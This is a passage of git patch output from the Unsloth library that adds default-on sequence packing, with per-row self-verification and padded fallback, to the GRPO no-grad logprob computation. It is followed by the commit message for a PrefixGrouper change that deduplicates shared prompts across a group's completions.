_get_per_token_logps_and_entropies is copied verbatim into the generated GRPO trainer
via inspect.getsource, and that module never imported UNSLOTH_ENABLE_LOGGING, so the
default-on packing verify path raised NameError (and the except handler re-raised it).
Import the flag locally, before the try, so the name is defined in the generated module
too. Drop it from the now-unused module-level import.

* GRPO no-grad packing: harden unsafe-length skip, verify guard, fallback cleanup

Three fixes to the no-grad logp packing path, mirroring the grad path:
- skip the packed forward for known-unsafe lengths by reading unsafe_T and
  gating on it before the forward, instead of running the full packed pass and
  the result build only to discard them (wastes a pass, can OOM at large T)
- only widen the verified T/seg envelope when >= 2 completion rows actually
  exercised cross-sample packing; a < 2 row batch cannot expose leakage, so it
  must not extend the trusted shape that later multi-row batches skip verify for
- drop the packed intermediates (hidden/sel/result/ref) before the padded
  fallback loop so it does not run with the flattened hidden state still resident

* GRPO no-grad packing: cap the flattened forward at one mini-batch budget

The packed path built a single [1, sum L] forward over every row before any
size check, so a large batch could exceed the memory the padded path bounds
per mini-batch. Gate packing on _pk_T <= _pk_cap (B * seq_len, one padded
mini-batch's token budget); larger batches fall back to the chunked padded
loop.

* GRPO no-grad packing: disable unless unsloth_zoo has the masked-column guard

The packed path leaves masked prompt/pad logprob columns at 0, which only stays
finite if unsloth_zoo grpo_compute_loss zeroes them before exp() (zoo#840). An
older unsloth_zoo without that guard would NaN. Detect the guard once (cached on
the model) via inspect.getsource and gate packing on it, so #6738 is safe with
any unsloth_zoo version and re-enables packing automatically once a guarded zoo
is installed, independent of the pinned lower bound.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* GRPO packing: hoist env gates and zoo-guard detection to one-time module checks

Read UNSLOTH_GRPO_SEQ_PACKING and detect the unsloth_zoo masked-column guard once at
import time (module constants plus RL_PRE_ITEMS for the generated trainer cache) instead
of per call, and drop the in-function UNSLOTH_ENABLE_LOGGING import for a module-top one.
The UNSLOTH_GRPO_SEQ_PACKING_VERIFY force-verify debug knob is commented out, kept in
place for hand re-enable; the first-use and envelope-growth self-verify stays active.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* GRPO packing: cap the flattened forward by the padded chunk rows

B counts chunks at this point, so B * seq_len understated (small runs) or overstated
(large runs) the padded mini-batch token budget; use batch_size * seq_len, the rows the
padded loop actually forwards per chunk.

* GRPO sequence packing: tighten comments

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

---------

Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
Co-authored-by: Lee Jackson <130007945+Imagineer99@users.noreply.github.com>
---
 unsloth/models/rl_replacements.py | 245 +++++++++++++++++++++++++++++-
 1 file changed, 243 insertions(+), 2 deletions(-)

diff --git a/unsloth/models/rl_replacements.py b/unsloth/models/rl_replacements.py
index 3be614cf4a..0573fd5fd8 100644
--- a/unsloth/models/rl_replacements.py
+++ b/unsloth/models/rl_replacements.py
@@ -29,6 +29,7 @@ from collections import defaultdict
 from unsloth_zoo.rl_replacements import (
     RL_REPLACEMENTS,
     left_pack_padding,
+    create_completion_attention_mask,
     chunked_selective_log_softmax,
     _unsloth_get_mm_token_id,
     _unsloth_fix_mm_token_type_ids,
@@ -48,7 +49,22 @@ from ..device_type import (
     ALLOW_PREQUANTIZED_MODELS,
 )
 import textwrap
-from ._utils import _get_inference_mode_context_manager
+from ._utils import _get_inference_mode_context_manager, UNSLOTH_ENABLE_LOGGING
+
+# One-time GRPO sequence-packing gates; mirrored into the generated trainer cache via RL_PRE_ITEMS.
+UNSLOTH_GRPO_SEQ_PACKING_ON = os.environ.get("UNSLOTH_GRPO_SEQ_PACKING", "1").lower() not in (
+    "0",
+    "false",
+    "no",
+    "off",
+)
+# Packing needs zoo#840's masked-column guard in grpo_compute_loss (installed zoo is fixed per-process).
+try:
+    UNSLOTH_ZOO_HAS_MASKED_COL_GUARD = "torch.where(_keep, new" in inspect.getsource(
+        RL_REPLACEMENTS["grpo_compute_loss"]
+    )
+except Exception:
+    UNSLOTH_ZOO_HAS_MASKED_COL_GUARD = False
 
 RL_EXTRA_ARGS = defaultdict(list)
 RL_FUNCTIONS = defaultdict(list)
@@ -1359,6 +1375,212 @@ def grpo_trainer__get_per_token_logps_and_entropies(function_name, function):
             )
             os.environ["UNSLOTH_RETURN_HIDDEN_STATES"] = "1"
 
+            # ---- Sequence packing (default-on; disable with UNSLOTH_GRPO_SEQ_PACKING=0) ----
+            # One varlen [1, sum L] forward replaces the padded [B, Lmax] loop (also fixes the
+            # left-pad RoPE error). Self-verified against the per-row forward, re-checked as T
+            # grows; falls back if a backend ignores packed_seq_lengths.
+            logprobs = None
+            _pk_result = None
+            _pk_use = False
+            _pk_enabled = UNSLOTH_GRPO_SEQ_PACKING_ON
+            # Without zoo#840's masked-column guard, zeroed prompt/pad columns turn NaN in exp().
+            _pk_enabled = _pk_enabled and UNSLOTH_ZOO_HAS_MASKED_COL_GUARD
+            _pk_ok = getattr(unwrapped_model, "_unsloth_seq_packing_nograd_ok", None)
+            if (
+                _pk_enabled
+                and pixel_values is None
+                and token_type_ids is None
+                and mm_token_type_ids is None
+                and _pk_ok is not False
+            ):
+                try:
+                    _pk_pad = self.processing_class.pad_token_id
+                    _pk_keep = input_ids != _pk_pad
+                    _pk_len = _pk_keep.sum(dim = 1)
+                    _pk_len_cpu = _pk_len.tolist()  # single GPU->CPU sync, reused below
+                    _pk_nz_cpu = [_n for _n in _pk_len_cpu if _n > 0]
+                    _pk_flat = input_ids[_pk_keep].unsqueeze(0)
+                    _pk_T = _pk_flat.shape[1]
+                    _pk_L = input_ids.shape[1]
+                    _pk_W = logits_to_keep + max_left_pad
+                    _pk_maxseg = max(_pk_nz_cpu) if _pk_nz_cpu else 0
+                    # sliding-window models lose the per-sequence local window in a packed stream
+                    _pk_sw = getattr(
+                        getattr(unwrapped_model, "config", None), "sliding_window", None
+                    )
+                    _pk_sw_ok = not (isinstance(_pk_sw, int) and _pk_sw > 0 and _pk_maxseg > _pk_sw)
+                    # per-row completion mask (same as the loss); prompt-only rows count as inactive
+                    _pk_cmask = create_completion_attention_mask(
+                        input_ids[:, -_pk_W:], left_pad_tokens_per_prompt, max_left_pad, _pk_pad
+                    )
+                    _pk_active = int(_pk_cmask.any(dim = 1).sum())
+                    # skip the packed forward entirely at known-unsafe lengths (avoids a wasted pass / OOM)
+                    _pk_unsafe = getattr(
+                        unwrapped_model, "_unsloth_seq_packing_nograd_unsafe_T", None
+                    )
+                    # cap the flattened forward at one padded [batch_size, seq_len] mini-batch's
+                    # token budget; anything larger uses the chunked padded loop
+                    _pk_cap = batch_size * seq_len
+                    if (
+                        _pk_T >= 2
+                        and _pk_T <= _pk_cap
+                        and len(_pk_nz_cpu) > 0
+                        and _pk_sw_ok
+                        and not (_pk_unsafe is not None and _pk_T >= _pk_unsafe)
+                        and (_pk_ok is True or _pk_active >= 2)
+                    ):
+                        # reset 0-based position_ids per segment
+                        _pk_pos = (_pk_keep.cumsum(dim = 1) - 1)[_pk_keep].unsqueeze(0)
+                        _pk_chunks = max(1, total_rows * multiplier)
+                        _pk_nz_idx = _pk_keep.nonzero(
+                            as_tuple = False
+                        )  # [T, 2] = (row, col), row-major
+                        _pk_within = _pk_nz_idx[1:, 0] == _pk_nz_idx[:-1, 0]  # [T-1]
+                        # per-row completion start after left-packing (matches create_completion_attention_mask)
+                        _pk_cstart = (_pk_L - logits_to_keep) - left_pad_tokens_per_prompt  # [rows]
+                        _pk_ctgt = (_pk_nz_idx[1:, 1] >= _pk_cstart[_pk_nz_idx[1:, 0]]) & _pk_within
+                        with _get_inference_mode_context_manager(model):
+                            with torch.amp.autocast(device_type = "cuda", dtype = self._autocast_dtype):
+                                # use_cache=False: a KV cache silently disables varlen packing
+                                _pk_hidden = unwrapped_model(
+                                    input_ids = _pk_flat,
+                                    position_ids = _pk_pos,
+                                    packed_seq_lengths = torch.tensor(
+                                        _pk_nz_cpu, dtype = torch.int32, device = input_ids.device
+                                    ),
+                                    use_cache = False,
+                                ).logits
+                                _pk_sel = chunked_hidden_states_selective_log_softmax(
+                                    _pk_hidden[0, :-1, :][_pk_ctgt].unsqueeze(0),
+                                    lm_head,
+                                    _pk_flat[0, 1:][_pk_ctgt].unsqueeze(0),
+                                    _pk_chunks,
+                                    logit_scale_multiply,
+                                    logit_scale_divide,
+                                    logit_softcapping,
+                                    temperature,
+                                )[0]
+                        # GPT-OSS offload race guard (matches the padded loop)
+                        device_synchronize()
+                        # scatter each completion logprob back to its (row, col) so [:, -_pk_W:] matches padded
+                        _pk_tgt = (_pk_nz_idx[1:, 0] * _pk_L + _pk_nz_idx[1:, 1])[_pk_ctgt]
+                        _pk_result = (
+                            torch.zeros(
+                                total_rows * _pk_L,
+                                dtype = torch.float32,
+                                device = input_ids.device,
+                            )
+                            .index_put((_pk_tgt,), _pk_sel.to(torch.float32))
+                            .view(total_rows, _pk_L)[:, -_pk_W:]
+                        )
+                        # re-verify when T or the longest segment grows past what was verified
+                        # (a LongRoPE cache switch can change the result)
+                        _pk_vT = int(
+                            getattr(unwrapped_model, "_unsloth_seq_packing_nograd_verified_T", 0)
+                        )
+                        _pk_vS = int(
+                            getattr(unwrapped_model, "_unsloth_seq_packing_nograd_verified_seg", 0)
+                        )
+                        # debug: hand-edit this condition to force re-verify every step
+                        if _pk_ok is True and _pk_T <= _pk_vT and _pk_maxseg <= _pk_vS:
+                            _pk_use = True  # already verified for this shape
+                        else:
+                            # verify against the per-row forward (ground truth)
+                            _pk_ref = torch.zeros_like(_pk_result)
+                            with _get_inference_mode_context_manager(model):
+                                with torch.amp.autocast(
+                                    device_type = "cuda", dtype = self._autocast_dtype
+                                ):
+                                    for _pk_i in range(total_rows):
+                                        _pk_ni = _pk_len_cpu[_pk_i]
+                                        if _pk_ni < 2:
+                                            continue
+                                        _pk_rmask = _pk_keep[_pk_i]
+                                        _pk_real = input_ids[_pk_i][_pk_rmask].unsqueeze(0)
+                                        _pk_rpos = torch.arange(
+                                            _pk_ni, device = input_ids.device
+                                        ).unsqueeze(0)
+                                        _pk_rh = unwrapped_model(
+                                            input_ids = _pk_real,
+                                            position_ids = _pk_rpos,
+                                            use_cache = False,
+                                        ).logits
+                                        _pk_rsel = chunked_hidden_states_selective_log_softmax(
+                                            _pk_rh[:, :-1, :],
+                                            lm_head,
+                                            _pk_real[:, 1:],
+                                            1,
+                                            logit_scale_multiply,
+                                            logit_scale_divide,
+                                            logit_softcapping,
+                                            temperature,
+                                        )[0]
+                                        _pk_rcols = _pk_rmask.nonzero(as_tuple = False).squeeze(1)[
+                                            1:
+                                        ] - (_pk_L - _pk_W)
+                                        _pk_rkeep = _pk_rcols >= 0
+                                        _pk_ref[_pk_i, _pk_rcols[_pk_rkeep]] = _pk_rsel[
+                                            _pk_rkeep
+                                        ].to(torch.float32)
+                            device_synchronize()
+                            # compare over the loss-mask region only
+                            _pk_cm = _pk_cmask.float()
+                            _pk_diff = float(((_pk_result - _pk_ref).abs() * _pk_cm).max())
+                            if UNSLOTH_ENABLE_LOGGING:
+                                print(
+                                    f"[Unsloth] GRPO seq-packing (no-grad) verify: T={_pk_T} maxseg={_pk_maxseg} packed-vs-perrow max|d|={_pk_diff:.4f}",
+                                    flush = True,
+                                )
+                            # kernel-noise floor ~0.25; cross-sample contamination is >= 2.4
+                            if _pk_diff < 7e-1:
+                                unwrapped_model._unsloth_seq_packing_nograd_ok = True
+                                # widen the trusted shape only when >= 2 completion rows exercised
+                                # cross-sample packing; single-row passes prove nothing
+                                if _pk_active >= 2:
+                                    unwrapped_model._unsloth_seq_packing_nograd_verified_T = max(
+                                        _pk_vT, _pk_T
+                                    )
+                                    unwrapped_model._unsloth_seq_packing_nograd_verified_seg = max(
+                                        _pk_vS, _pk_maxseg
+                                    )
+                                _pk_ok = True
+                                _pk_use = True
+                            else:
+                                _pk_use = False
+                                if _pk_diff >= 1.5:
+                                    # contamination (attention ignores the packed mask): disable packing
+                                    unwrapped_model._unsloth_seq_packing_nograd_ok = False
+                                else:
+                                    # likely a length boundary (LongRoPE): mark unsafe, keep smaller shapes
+                                    unwrapped_model._unsloth_seq_packing_nograd_unsafe_T = (
+                                        _pk_T if _pk_unsafe is None else min(_pk_unsafe, _pk_T)
+                                    )
+                                if UNSLOTH_ENABLE_LOGGING:
+                                    print(
+                                        f"[Unsloth] GRPO seq-packing (no-grad) fell back at T={_pk_T} (diff={_pk_diff:.3f})",
+                                        flush = True,
+                                    )
+                except Exception as _pk_err:
+                    # any failure: drop intermediates, use the padded loop, do not retry
+                    _pk_hidden = None
+                    _pk_sel = None
+                    _pk_result = None
+                    _pk_use = False
+                    if isinstance(_pk_err, torch.cuda.OutOfMemoryError):
+                        torch.cuda.empty_cache()
+                    unwrapped_model._unsloth_seq_packing_nograd_ok = False
+                    if UNSLOTH_ENABLE_LOGGING:
+                        print(
+                            f"[Unsloth] GRPO sequence-packing (no-grad) disabled (fell back to padded): {_pk_err!r}",
+                            flush = True,
+                        )
+            if _pk_use and _pk_result is not None:
+                logprobs = _pk_result  # verified -> skip the loop
+                zipped_inputs = []
+            else:
+                # free packed intermediates before running the padded loop
+                _pk_hidden = _pk_sel = _pk_result = _pk_ref = None
+
             with _get_inference_mode_context_manager(model):
                 for (
                     input_ids_chunk,
@@ -1443,7 +1665,8 @@ def grpo_trainer__get_per_token_logps_and_entropies(function_name, function):
                     # However, it seems that this line does not slow down or disrupt models.
                     device_synchronize()
                     all_logprobs_list.append(logprobs_chunk)
-                logprobs = torch.cat(all_logprobs_list, dim = 0)
+                if logprobs is None:  # padded fallback when packing was not used
+                    logprobs = torch.cat(all_logprobs_list, dim = 0)
                 entropies = None
 
             os.environ["UNSLOTH_RETURN_HIDDEN_STATES"] = "0"
@@ -1523,6 +1746,24 @@ RL_PRE_ITEMS["grpo_trainer"].append(inspect.getsource(grpo_accumulated_loss))
 RL_PRE_ITEMS["grpo_trainer"].append(grpo_compute_loss_slow)
 RL_PRE_ITEMS["grpo_trainer"].append(inspect.getsource(grpo_update_SamplingParams))
 RL_PRE_ITEMS["grpo_trainer"].append(inspect.getsource(_get_inference_mode_context_manager))
+# inspect.getsource inlines function bodies but not module imports, so constants the inlined
+# grpo functions reference (e.g. UNSLOTH_ENABLE_LOGGING) must be redefined in the generated cache.
+RL_PRE_ITEMS["grpo_trainer"].append(
+    "import os as _unsloth_os\n"
+    "UNSLOTH_ENABLE_LOGGING = _unsloth_os.environ.get('UNSLOTH_ENABLE_LOGGING', '0') in ('1', 'True', 'true')\n"
+)
+# One-time sequence-packing gates, same values as the module-top constants above.
+RL_PRE_ITEMS["grpo_trainer"].append(
+    "UNSLOTH_GRPO_SEQ_PACKING_ON = _unsloth_os.environ.get('UNSLOTH_GRPO_SEQ_PACKING', '1').lower() not in ('0', 'false', 'no', 'off')\n"
+)
+RL_PRE_ITEMS["grpo_trainer"].append(
+    "try:\n"
+    "    import inspect as _unsloth_inspect\n"
+    "    from unsloth_zoo.rl_replacements import RL_REPLACEMENTS as _unsloth_zoo_RL\n"
+    "    UNSLOTH_ZOO_HAS_MASKED_COL_GUARD = 'torch.where(_keep, new' in _unsloth_inspect.getsource(_unsloth_zoo_RL['grpo_compute_loss'])\n"
+    "except Exception:\n"
+    "    UNSLOTH_ZOO_HAS_MASKED_COL_GUARD = False\n"
+)
 
 
 # Edit _get_per_token_logps to handle mixed precision

From 08e133cd6b035adc75474985cb8c097c5b1a3f95 Mon Sep 17 00:00:00 2001
From: Daniel Han <danielhanchen@gmail.com>
Date: Mon, 6 Jul 2026 05:26:24 -0700
Subject: [PATCH 197/306] Add PrefixGrouper for GRPO: dedup the shared prompt
 across a group's completions (#6871)

* GRPO: optional sequence packing for the no-grad old/ref logp path

Add an opt-in sequence-packing fast path to _get_per_token_logps_and_entropies, enabled with
UNSLOTH_GRPO_SEQ_PACKING=1. When the batch is text-only, the padded [B, Lmax] per-chunk forward is
replaced by a single varlen [1, sum L] forward (BlockDiagonalCausalMask via packed_seq_lengths with
reset position_ids). Per-token logps use the same float32 chunked_hidden_states_selective_log_softmax
as the padded path, so the old and reference logps are bit-for-bit identical.

Safety: the packed path is self-verified once against the padded ground truth on a batch that has at
least two rows with real completion tokens (self._unsloth_seq_packing_nograd_ok), so cross-sample
contamination would actually manifest; a degenerate all-pad / fully tool-masked batch leaves the
verdict unset and re-verifies later. If a backend silently ignores packed_seq_lengths (flat batch run
under a normal causal mask, samples leaking across boundaries), the packed logps will not match and
packing is disabled instead of corrupting logps. It also forces use_cache=False (a populated
past_key_value disables varlen packing), skips packing when a sliding window is shorter than the
packed stream, runs the same GPT-OSS offload device_synchronize the padded loop uses, and falls back
on any exception (UNSLOTH_GRPO_SEQ_PACKING_DEBUG=1 prints the reason).

Default off, so existing behavior is unchanged. Pairs with the matching gradient-path change in
unsloth_zoo so the full GRPO logp + loss + backward can run packed.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* GRPO no-grad packing: address review feedback

- Cache the packed-vs-padded verdict per unwrapped model instead of on the
  trainer, so a separately forwarded reference model is verified on its own
  forward path rather than inheriting the policy model's verdict.
- Force the padded path when token_type_ids or mm_token_type_ids are present,
  matching the extra vision kwargs the padded loop forwards.
- Require the xformers varlen backend before packing. Without it the packed
  mask falls back to a dense O(T^2) SDPA mask that can OOM on the flattened
  batch, so we keep the padded loop in that case.
- On any packed-forward failure (missing backend, OOM, unsupported forward)
  empty the cache on OOM, disable packing for that model, and fall back to the
  chunked padded loop instead of retrying every step.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* GRPO no-grad packing: default-on, verify against per-row reference

Redesign of the optional sequence-packing fast path for the no-grad
old/ref logprob recompute, after establishing that the packed forward is
the exact per-row computation and the padded batch forward is the side
that mis-positions left-padded rows on long completions.

- Default the packing on (UNSLOTH_GRPO_SEQ_PACKING, disable with 0).
- Verify the packed logprobs against the per-row clean forward (each
  row's real tokens alone, reset 0-based positions, no padding), not the
  padded batch which is itself wrong for left-padding. Cross-sample
  contamination (a backend ignoring packed_seq_lengths) shows up as a
  large mismatch and falls back to the padded loop.
- Make the trust decision shape and RoPE aware: re-verify whenever the
  packed total length or the longest segment grows past what was
  verified, so a later batch crossing a LongRoPE short/long cache
  boundary is re-checked instead of trusted blindly.
- Run lm_head only on completion-prediction positions instead of every
  packed prompt token, so long-prompt/short-completion batches do not
  pay for projecting the whole packed prompt.
- Drop the hard xformers import so the path also runs in
  FlashAttention-only environments; the per-row verification guards
  correctness regardless of backend.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* GRPO no-grad packing: disable entirely on cross-sample mismatch

When the per-row verification fails, distinguish the two failure modes by
magnitude instead of by sequence length:

- A large mismatch (>= 1.5) is the cross-sample contamination signature:
  the model's attention does not honor the block-diagonal packed mask
  (seen on some MoE / custom-attention models, e.g. qwen2_moe). Disable
  packing entirely for the model so later batches do not pay the
  verification cost again.
- A moderate mismatch is more likely a length-boundary effect (a LongRoPE
  short/long cache switch): keep marking just that length region unsafe so
  packing still runs for smaller shapes.

Validated: Qwen1.5-MoE falls back after a single verification (grad and
no-grad ok flags go False, no re-verify on later steps); dense Llama-3.2
and Qwen3 still verify and engage packing.

* GRPO no-grad packing: trim comments to be concise

* GRPO no-grad packing: fix per-row completion boundary for left-padded rows

The completion-target selection used a single global boundary
(col >= L - logits_to_keep). After left-packing, each row's completion
starts at (L - logits_to_keep) - left_pad[row], so for left-padded rows
the first left_pad completion tokens fall below the global boundary and
were dropped, leaving 0 logprobs at real completion positions that the
loss mask keeps. Use the per-row boundary so packed coverage matches
create_completion_attention_mask exactly, and widen the self-verify mask
to the full per-row completion region so it can catch coverage gaps.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* GRPO no-grad packing: gate verification on real completion rows

Count active rows via create_completion_attention_mask (the same mask the
loss uses) instead of any non-pad token in the packed window. Prompt-only
rows carry prompt-overflow tokens in the window and could otherwise satisfy
the >= 2 verification guard, letting a batch with a single real completion
row cache a trust decision. This matches the gradient path, which already
gates on the completion mask. The same mask is reused for the self-verify
comparison.

* GRPO no-grad packing: gate debug logging on UNSLOTH_ENABLE_LOGGING

Use the shared UNSLOTH_ENABLE_LOGGING global (import_fixes, re-exported by
_utils) instead of a bespoke UNSLOTH_GRPO_SEQ_PACKING_DEBUG env var for the
packing debug prints, matching the rest of the codebase.

* GRPO packing: import UNSLOTH_ENABLE_LOGGING inside the injected logp function

_get_per_token_logps_and_entropies is copied verbatim into the generated GRPO trainer
via inspect.getsource, and that module never imported UNSLOTH_ENABLE_LOGGING, so the
default-on packing verify path raised NameError (and the except handler re-raised it).
Import the flag locally, before the try, so the name is defined in the generated module
too. Drop it from the now-unused module-level import.

* GRPO no-grad packing: harden unsafe-length skip, verify guard, fallback cleanup

Three fixes to the no-grad logp packing path, mirroring the grad path:
- skip the packed forward for known-unsafe lengths by reading unsafe_T and
  gating on it before the forward, instead of running the full packed pass and
  the result build only to discard them (wastes a pass, can OOM at large T)
- only widen the verified T/seg envelope when >= 2 completion rows actually
  exercised cross-sample packing; a < 2 row batch cannot expose leakage, so it
  must not extend the trusted shape that later multi-row batches skip verify for
- drop the packed intermediates (hidden/sel/result/ref) before the padded
  fallback loop so it does not run with the flattened hidden state still resident

* GRPO no-grad packing: cap the flattened forward at one mini-batch budget

The packed path built a single [1, sum L] forward over every row before any
size check, so a large batch could exceed the memory the padded path bounds
per mini-batch. Gate packing on _pk_T <= _pk_cap (B * seq_len, one padded
mini-batch's token budget); larger batches fall back to the chunked padded
loop.

* GRPO no-grad packing: disable unless unsloth_zoo has the masked-column guard

The packed path leaves masked prompt/pad logprob columns at 0, which only stays
finite if unsloth_zoo grpo_compute_loss zeroes them before exp() (zoo#840). An
older unsloth_zoo without that guard would NaN. Detect the guard once (cached on
the model) via inspect.getsource and gate packing on it, so #6738 is safe with
any unsloth_zoo version and re-enables packing automatically once a guarded zoo
is installed, independent of the pinned lower bound.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* GRPO packing: hoist env gates and zoo-guard detection to one-time module checks

Read UNSLOTH_GRPO_SEQ_PACKING and detect the unsloth_zoo masked-column guard once at
import time (module constants plus RL_PRE_ITEMS for the generated trainer cache) instead
of per call, and drop the in-function UNSLOTH_ENABLE_LOGGING import for a module-top one.
The UNSLOTH_GRPO_SEQ_PACKING_VERIFY force-verify debug knob is commented out, kept in
place for hand re-enable; the first-use and envelope-growth self-verify stays active.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* GRPO packing: cap the flattened forward by the padded chunk rows

B counts chunks at this point, so B * seq_len understated (small runs) or overstated
(large runs) the padded mini-batch token budget; use batch_size * seq_len, the rows the
padded loop actually forwards per chunk.

* Add PrefixGrouper for GRPO: dedup the shared prompt across a group's completions

In GRPO every prompt spawns G=num_generations completions that share the prompt
prefix, so the trunk logprob forward re-encodes that prefix G times. PrefixGrouper
stores the prefix once and concatenates only the G suffixes behind a FlexAttention
shared-prefix mask, cutting the forward from G*(P+R) to P+G*R tokens across both the
no-grad old/ref forwards and the grad logp forward. Default off behind the
UNSLOTH_GRPO_PREFIX_GROUPER env gate, so the gate-unset path is byte-identical to
today. A tok_r auto-gate and a first-use self-verify (fall back and mark the shape
unsafe on mismatch) keep it from ever shipping wrong logprobs silently.

Wired for llama, mistral, qwen3, gemma2, cohere, granite and falcon_h1, plus qwen2
and gemma through the shared LlamaAttention_fast_forward. Stacked on the GRPO
sequence-packing PR (#6738); the grad path lands in a companion unsloth-zoo PR.
Also fixes a latent UNSLOTH_ENABLE_LOGGING NameError in the seq-packing no-grad
verify path by defining the name as a generated-cache pre-item.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* PrefixGrouper: enforce the sliding-window cap, gate softcap models, bound the mask cache

Add a max_segment_cap kwarg to build_group_layout so it falls back when a group's
span (prefix + longest suffix) exceeds the model's local window, and pass the config
sliding_window into the no-grad engage gate the same way the packed _pk guard derives it.
Skip PrefixGrouper entirely for attn_logit_softcapping models, since the FlexAttention
kernel never applies logit softcapping. Bound _BLOCK_MASK_CACHE to a FIFO of 8 so
per-step lengths cannot pin BlockMasks forever, release the PG hidden before the verify
forward, and align the UNSLOTH_ENABLE_LOGGING pre-item truthiness with the canonical form.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* PrefixGrouper: vectorize the real-column scan in build_group_layout

Replace the per-row O(B*L) Python scan of the keep mask with a GPU-derived
contiguous-run fast path (first real column + count per row), keeping the
general scan only as a fallback for non-contiguous rows. Works for both call
sites: the no-grad layout (left-padded prompt + right-padded completion, run
does not start at column 0) and the grad layout (left-packed).

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* PrefixGrouper: hoist the gate and kernel imports to one-time module checks, AGPLv3 headers

Read UNSLOTH_GRPO_PREFIX_GROUPER and resolve the prefix_grouper imports once at module
level (source constants plus an RL_PRE_ITEMS entry for the generated trainer cache)
instead of per call, matching the sequence-packing gates. The prefix_grouper env helpers
become one-time module reads with unchanged signatures, and attention_dispatch resolves
the FlexAttention kernel once behind the same gate (lazy fallback kept). The two new
prefix_grouper files move to AGPLv3 headers.

* PrefixGrouper: length-envelope trust and hybrid SSM exclusion

Verified signatures now record (max T, max segment) and re-verify when either grows,
matching the packed path's envelope. Hybrid SSM models (FalconH1 etc.) are excluded at
the gate since only attention gets the shared-prefix isolation, and the FalconH1 wiring
is removed.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* PrefixGrouper: defer the unverified no-grad forward until the packed reference exists

Unverified shapes no longer run the whole-batch shared-prefix forward up front; it now
runs at the verify site, only when the packed path produced a reference. A declined
packed path (budget, window) therefore costs no wasted PG forward per step. Trusted
shapes still run it first to skip the full-row forward, with the same fallback.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* PrefixGrouper: disable under vLLM (fast_inference=True)

With colocated vLLM generation the rollout dominates the GRPO step, so the shared-prefix
training forward saves little end-to-end and its first-use self-verify (which also runs
the full-row path) is net overhead. Gate PG on not use_vllm so it only engages on the raw
transformers path, where the training forward is on the critical path. Packing is unaffected.

* PrefixGrouper: compile the FlexAttention kernel with dynamic shapes

GRPO changes the packed length T almost every batch. With dynamic=False the flex
forward+backward kernel recompiled on every new T (~14s each on a 4B trunk), which
dominated the step and made PG a net loss. dynamic=True compiles once, then reuses the
kernel across all lengths recompile-free (a new shape drops from ~14s to ~1.4ms after a
two-graph warmup). T is still padded to a multiple of 128 for the backward block assertion.

* PrefixGrouper: default on

Enable PrefixGrouper by default (UNSLOTH_GRPO_PREFIX_GROUPER defaults to 1; set 0 to
disable). Still auto-disabled under vLLM (fast_inference=True) and by the arch/softcap/
SSM/tok_r gates, and the first-use self-verify falls back on any mismatch, so this is a
memory-first default on the raw-transformers path with no correctness risk.

* GRPO PrefixGrouper: gate on zoo masked-column guard and exclude MoE

- Require the zoo masked-column guard (zoo#840) before PrefixGrouper can engage.
  PG rides the sequence-packing path, so when the first-step self-verify is off the
  fast path trusts PG output directly; without the guard those masked columns feed
  NaN into the packed loss. Gate PG on the same UNSLOTH_ZOO_HAS_MASKED_COL_GUARD
  the packing path already checks.
- Exclude MoE configs (num_experts, num_local_experts, n_routed_experts,
  moe_intermediate_size) alongside the hybrid-SSM markers. Only the threaded
  attention forwards carry the shared-prefix isolation, so a MoE decoder that does
  not forward prefix_seg_info would let suffixes leak across completions.
- Refresh the stale default-off comments now that UNSLOTH_GRPO_PREFIX_GROUPER is
  on by default.

* GRPO PrefixGrouper: import chunked_hidden_states_selective_log_softmax

The shared-prefix forward passes chunked_hidden_states_selective_log_softmax
into extract_logps, but the name was only ever provided by the generated
trainer cache (rl.py injects grpo_selective_log_softmax_code), never bound in
this module. Import it from unsloth_zoo.rl_replacements next to its sibling
chunked_selective_log_softmax so the source resolves the name in every scope
(the new _pg_run_forward closure included). No runtime change: the cache still
defines the function via template injection.

* GRPO PrefixGrouper: dropout gate, device-safe layout, Mistral mask skip

Addresses three review findings on the shared-prefix path:
- Skip PrefixGrouper when the model sets a nonzero attention_dropout. The normal
  backends apply config.attention_dropout while training (e.g. Granite dense
  flash/sdpa/xformers), but the FlexAttention shared-prefix path is deterministic,
  so gate PG off for those configs rather than train on mismatched activations.
- Move the shared-prefix mask labels to the consumer (Q) device in get_block_mask
  and the target index maps to hidden.device in extract_logps, mirroring the packed
  path moving its metadata to the consumer device. Prevents cross-device indexing
  when the model is sharded across GPUs.
- Do not synthesize a causal attention_mask in the Mistral forward when
  prefix_seg_info is present. On the no-xFormers path that synthetic mask tripped
  resolve_prefix_seg_info and forced PG to always fall back to the packed forward.

* GRPO sequence packing: tighten comments

* GRPO PrefixGrouper: tighten comments

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* GRPO PrefixGrouper: persistent disable on runtime failure; build block-mask labels with inference mode disabled

- rl_replacements: on a PG forward exception (FlexAttention/Triton compile failure or OOM), set a model-level _unsloth_prefix_grouper_nograd_disabled flag and consult it in the engage gate, mirroring the seq-packing handler, so a GPU-wide failure is not retried and re-paid every step.
- prefix_grouper_kernel: move the .to(device) label copies inside the inference_mode(False) block so a cross-device (model-parallel shard) first build does not capture inference tensors, which otherwise cannot be saved for backward when the grad training forward reuses the cached BlockMask.

---------

Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
